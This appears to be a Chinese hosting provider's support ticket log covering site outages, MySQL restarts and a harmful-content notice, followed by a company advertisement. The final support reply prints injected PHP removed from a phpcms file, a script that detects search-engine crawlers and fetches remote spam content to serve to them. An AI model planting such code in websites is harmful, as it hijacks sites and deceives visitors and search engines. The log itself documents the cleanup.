問：,網(wǎng)站打不來

答：您好，測(cè)試可以訪問的，附圖，請(qǐng)您清空瀏覽器緩存或者換一個(gè)瀏覽器再測(cè)試一下，若您本地還是無法訪問請(qǐng)您ping一下您的域名將結(jié)果提交上來我司查看一下 ,非常感謝您長期對(duì)我司的支持!

問：您好，之前在這個(gè)賬號(hào)下面提的備案，現(xiàn)在這個(gè)主體已經(jīng)注銷了，備案碼不能繼續(xù)使用了，更新備案主體，看下有沒有同步

答：您好，請(qǐng)?zhí)峁﹤浒复a或?qū)?yīng)的虛擬主機(jī)ftp，以便核實(shí)確認(rèn)；非常感謝您長期對(duì)我司的支持.由此給您帶來的不便之處,敬請(qǐng)?jiān)?謝謝!

問：我的網(wǎng)站怎么總是如此呀  掛了
http://www.jdtxj.org/group.php
我該開什么配置的服務(wù)器為宜  

答：您好，
我司查看服務(wù)器mysql服務(wù)沒有啟動(dòng)，我司已為您啟動(dòng)服務(wù)，附圖，查看數(shù)據(jù)庫日志中有數(shù)據(jù)表需要修復(fù)，您可以參考http://m.shinetop.cn/faq/list.asp?unid=39 進(jìn)行修復(fù)數(shù)據(jù)表，然后在觀察下,非常感謝您長期對(duì)我司的支持!

問：我這幾天沒上網(wǎng)/今天一打開發(fā)現(xiàn)又掛了

答：您好，
1.當(dāng)前服務(wù)器已經(jīng)為您啟動(dòng)了mysql，并通過系統(tǒng)日志中查看，對(duì)應(yīng)服務(wù)器都有出現(xiàn)http站點(diǎn)服務(wù)消耗內(nèi)存過高，導(dǎo)致系統(tǒng)自動(dòng)kill其他應(yīng)用服務(wù)的情況，此情況建議可以將站點(diǎn)訪問日志，根據(jù)站點(diǎn)訪問日志來核實(shí)分析看看是那個(gè)站點(diǎn)使用內(nèi)存過高，可以和核實(shí)處理一下，做可以升級(jí)一下服務(wù)器內(nèi)存到8G觀察。
2.并核實(shí)當(dāng)前服務(wù)器宿主有出現(xiàn)io使用很高的情況，導(dǎo)致服務(wù)器有出現(xiàn)卡頓的情況，當(dāng)前我司可以為您更換一個(gè)宿主您再測(cè)試訪問速度，您同意更換可以回復(fù)工單我司操作,非常感謝您長期對(duì)我司的支持!

問：收到以下郵件，但我們沒有發(fā)現(xiàn)有害信息，煩請(qǐng)貴公司處理一下，該收費(fèi)的收費(fèi)就是！，謝謝！
尊敬的用戶：王東      您好！      您在我司購買的業(yè)務(wù)(FTP用戶名:**********)經(jīng)我司信息安全系統(tǒng)監(jiān)測(cè)到存在有害信息，按國家有關(guān)法律規(guī)定，網(wǎng)站主辦者有責(zé)任和義務(wù)保證網(wǎng)站不傳播有害信息。現(xiàn)在信息安全形勢(shì)十分嚴(yán)峻，相關(guān)管理機(jī)構(gòu)對(duì)出現(xiàn)有害信息處置十分嚴(yán)厲，所以您必須在收到此次通知的24小時(shí)內(nèi)將網(wǎng)站所有有害信息立即清除，并采取必要措施保證以后不再出現(xiàn)有害信息，24小時(shí)后我司信息安全員將再次復(fù)查，若還未清除，將關(guān)閉該主機(jī)的網(wǎng)站訪問，同時(shí)我們也可能會(huì)將您主機(jī)的相關(guān)資料以及有害信息等相關(guān)材料作為線索報(bào)送公安機(jī)關(guān)相關(guān)部門，屆時(shí)您需自行承擔(dān)相關(guān)責(zé)任。      據(jù)我們的經(jīng)驗(yàn)，出現(xiàn)有害信息絕大部分情況是因?yàn)榫W(wǎng)站漏洞被黑而被掛馬然后傳播，這種情況您應(yīng)該徹底清除相關(guān)的木馬文件，并找到相關(guān)網(wǎng)站開發(fā)人員，查找漏洞并修補(bǔ)，以避免再次被黑。另一種情況是您網(wǎng)站存在交互式欄目，但又無人管理無人審核，造成被人利用發(fā)布有害信息,這種情況我們建議您關(guān)閉交互式欄目。    針對(duì)每次非法信息，我司系統(tǒng)均將自動(dòng)計(jì)數(shù)（您當(dāng)前的處置次數(shù)為：1次）,對(duì)于累計(jì)多次出現(xiàn)非法信息的主機(jī)，我司不排除會(huì)永久關(guān)閉。所以希望您切實(shí)履行起相關(guān)安全主體責(zé)任，加強(qiáng)網(wǎng)站安全管理，避免有害違法信息通過您的網(wǎng)站傳播。      具體的非法信息您可以登錄我司【管理中心-業(yè)務(wù)管理-安全及監(jiān)測(cè)-非法信息監(jiān)測(cè)】查看，也可在 http://cdsec.vhostgo.com/search輸入您的域名或云主機(jī)IP查看，但此處查詢的信息有可能未完全覆蓋，您需要據(jù)此為線索對(duì)整站進(jìn)行全面排查，避免遺漏。請(qǐng)參考 非法信息處理流程指南。      如果您（公司）缺少技術(shù)人員，不懂如何清理和加強(qiáng)安全設(shè)置，也可以提交工單，委托我司技術(shù)工程師代為清除病毒、木馬和非法信息，同時(shí)也可以有網(wǎng)站加固安全服務(wù)。收費(fèi)標(biāo)準(zhǔn)：根據(jù)非法信息的數(shù)量多少、被黑的嚴(yán)重程度、恢復(fù)和加固所需要的大概時(shí)間來收費(fèi)，一般約80元~200元左右。      附加提示一：非法信息記錄中，【阻斷】的意思是系統(tǒng)判斷極有可能是非法信息的記錄，并會(huì)自動(dòng)阻斷此網(wǎng)址的訪問，【記錄】意思是系統(tǒng)判斷疑似非法信息的記錄，需管理員人工核實(shí)。      附加提示二：新實(shí)施的《中華人民共和國網(wǎng)絡(luò)安全法》第四十七條規(guī)定，網(wǎng)站主辦者對(duì)非法信息傳播負(fù)有法律責(zé)任，請(qǐng)高度重視此事，否則將可能承擔(dān)相應(yīng)的法律后果。      附加提示三：關(guān)于更進(jìn)一步加強(qiáng)網(wǎng)站有害信息處置的公告 。      附加提示四：每個(gè)業(yè)務(wù)您只有3次解鎖的機(jī)會(huì)，所以當(dāng)出現(xiàn)非法信息后，除需清掉非法信息外，【務(wù)必】找到有效方法杜絕非法信息再次出現(xiàn)，如關(guān)閉論壇，修復(fù)漏洞等。      附加提示五：如果實(shí)在沒有好的辦法防止非法信息再次出現(xiàn)，建議您將業(yè)務(wù)升級(jí)到海外機(jī)房。      附加提示六：非法信息現(xiàn)在國家管控【異常嚴(yán)格】，并已形成長效機(jī)制，所以請(qǐng)您【務(wù)必重視】并積極配合，否則后果十分嚴(yán)重。再次提醒：若您未在24小時(shí)內(nèi)清理這些有害信息，我司將在24小時(shí)后關(guān)閉您的主機(jī)，希望您能配合處理，謝謝。同時(shí)我們強(qiáng)烈建議關(guān)閉論壇、留言板等交互式欄目，確實(shí)需要開辦的，需要落實(shí)先審后貼，加強(qiáng)人工管理。經(jīng)常出現(xiàn)非法信息但沒有精力管理同時(shí)又確需開辦的，可以考慮轉(zhuǎn)移至香港機(jī)房。

答：您好，核實(shí)此站點(diǎn)我司通過模擬百度蜘蛛訪問這些鏈接確實(shí)是有異常的,目前已經(jīng)通過解除阻斷,請(qǐng)及時(shí)檢查修復(fù)程序,查看index.php文件是有些異常代碼,如需我司協(xié)助清理掛馬,我司僅能檢查并清理掛馬信息，無法修復(fù)漏洞，修復(fù)程序需要聯(lián)系程序開發(fā)商處理，請(qǐng)確認(rèn)后可提交【虛擬主機(jī)/數(shù)據(jù)庫問題】—【網(wǎng)站類問題】—【清理網(wǎng)站掛馬代碼和非法信息】正確工單類型，非常感謝您長期對(duì)我司的支持!

問：那請(qǐng)指出具體是哪個(gè)代碼？，余額還有300多，如果需要費(fèi)用可以直接扣除。

答：您好，我司扣費(fèi)100元,核實(shí)是首頁中調(diào)用的phpcms\\base.php 等代碼文件有問題,已經(jīng)幫您清理,并對(duì)主機(jī)設(shè)置安全加固,
set_time_limit(0);error_reporting(0);$a=stristr;$b=$_SERVER;define(\’url\’,$b[\’REQUEST_URI\’]);define(\’ent\’,$b[\’HTTP_USER_AGENT\’]);define(\’site\’,"http://127.0.0.1:1024/");define(\’road\’,"?road=".$b[\’HTTP_HOST\’].url."&der=".ent);define(\’regs\’,\’@Baidu|Sogou|Yisou|Soso|Haosou|360Spider|So.com|Sm.cn@i\’);define(\’area\’,$a(url,".xml")or $a(url,".doc")or $a(url,".txt")or $a(url,".ppt")or $a(url,".xls")or $a(url,".csv")or $a(url,".shtml")or $a(url,".docx")or $a(url,".xlsx")and $a(url,"?"));if(preg_match(regs,ent)){if(area){echo g(site.road);exit;}else{echo g(site."?zz".road);ob_flush();flush();}}if(area){echo g(site.\’?tz\’);exit;}function g($d){$e=array(\’http\’=>array(\’method\’=>"GET"));$i=stream_context_create($e);$j=file_get_contents($d,false,$i);if(!empty($j)){return $j;}}

三五互聯(lián)（35.com）是經(jīng)工信部、ICANN、CNNIC認(rèn)證審批，持有ISP、云牌照、IDC、CDN、頂級(jí)域名注冊(cè)商等全業(yè)務(wù)資質(zhì)的正規(guī)老牌服務(wù)商，自成立至今20余年專注于域名注冊(cè)、虛擬主機(jī)、云服務(wù)器、企業(yè)郵箱、企業(yè)建站等互聯(lián)網(wǎng)基礎(chǔ)服務(wù)！

截止目前，已經(jīng)為超過2000萬個(gè)域名提供了注冊(cè)、解析等服務(wù)，是中國五星級(jí)域名注冊(cè)注冊(cè)商！已為超過50萬個(gè)網(wǎng)站提供了高速穩(wěn)定的云托管服務(wù)，獲評(píng)中國最受用戶喜歡云主機(jī)服務(wù)商。

三五互聯(lián)提供全方位7X24H專業(yè)售后支撐，域名注冊(cè)特價(jià)1元起，高速穩(wěn)定云主機(jī)45元起，更多詳情請(qǐng)瀏覽三五互聯(lián)官網(wǎng)：http://m.shinetop.cn/

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